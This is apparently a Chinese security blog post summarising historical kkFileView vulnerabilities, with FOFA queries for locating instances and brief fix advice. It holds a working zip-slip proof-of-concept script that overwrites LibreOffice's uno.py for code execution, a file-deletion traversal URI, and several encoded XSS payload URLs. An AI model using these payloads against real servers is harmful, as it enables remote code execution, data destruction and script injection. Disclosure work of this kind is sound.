由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
简介
kkFileView为文件文档在线预览解决方案,该项目使用流行的spring boot搭建,易上手和部署,基本支持主流办公文档的在线预览,如doc,docx,xls,xlsx,ppt,pptx,pdf,txt,zip,rar,图片,视频,音频等等
fofa
body="文件预览项目接入"
title="kkFileView演示首
任意文件写入导致RCE
影响版本:4.2.0 <= kkFileviw <= 4.4.0beta(最新分支不受影响)
可以任意文件上传,并且可以追加文件内容。kkFileView在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容,从而在处理odt文件时会执行uno.py中的恶意代码。
首先制作一个恶意压缩包
import zipfile
if __name__ == "__main__":
try:
binary1 = b'baba'
binary2 = b'import osrnos.system('touch /tmp/baba')'
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
python运行python poc.py生成poc.zip
上次poc.zip并且预览
查看/opt/kkfileview/bin/uno.py文件成功写入
随便创建一个odt文件
上传并预览
成功触发格式转换,并执行uno.py的恶意代码,创建了指定文件
任意文件读取
影响版本:kkFileView <= v3.6.0,<= 4.0.0
SSRF
影响版本:kkFileView <= 3.6.0, <= 4.0.0
影响版本:4.1.0 <= kkFileView <= 4.4.0-beta
任意文件删除
影响版本:kkFileView == v4.0.0
/deleteFile?fileName=demo%2F..1.html
get请求此uri会删除kkFileView-masterserversrcmainfile目录中的1.html(原本只能删除kkFileView-masterserversrcmainfiledemo目录下的文件)
XSS
影响版本:kkFileView <= 4.1.0
/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D
/onlinePreview?url=aHR0cDovLyI%2BPHN2Zy9vbmxvYWQ9IndpbmRvdy5vbmVycm9yPWV2YWw7dGhyb3cnPWFsZXJ0XHgyODFceDI5JzsiPi90ZXN0LnBuZw%3D%3D
/picturesPreview?urls=¤tUrl=Iik7YWxlcnQoIjExMQ==
kkFileView任意文件上传导致xss和文件包含漏洞
kkFileview存在文件解析漏洞,攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF,远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求
影响版本:kkFileView=4.1.0
<img src=x onerror=alert(0)>
修复建议
用户可以通过从官方页面下载开发分支的最新代码来临时解决此问题。建议持续关注官方的版本更新通知,以便及时获得修复后的正式版本。
原文始发于微信公众号(鹏组安全):kkFileView历史漏洞总结与修复建议
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论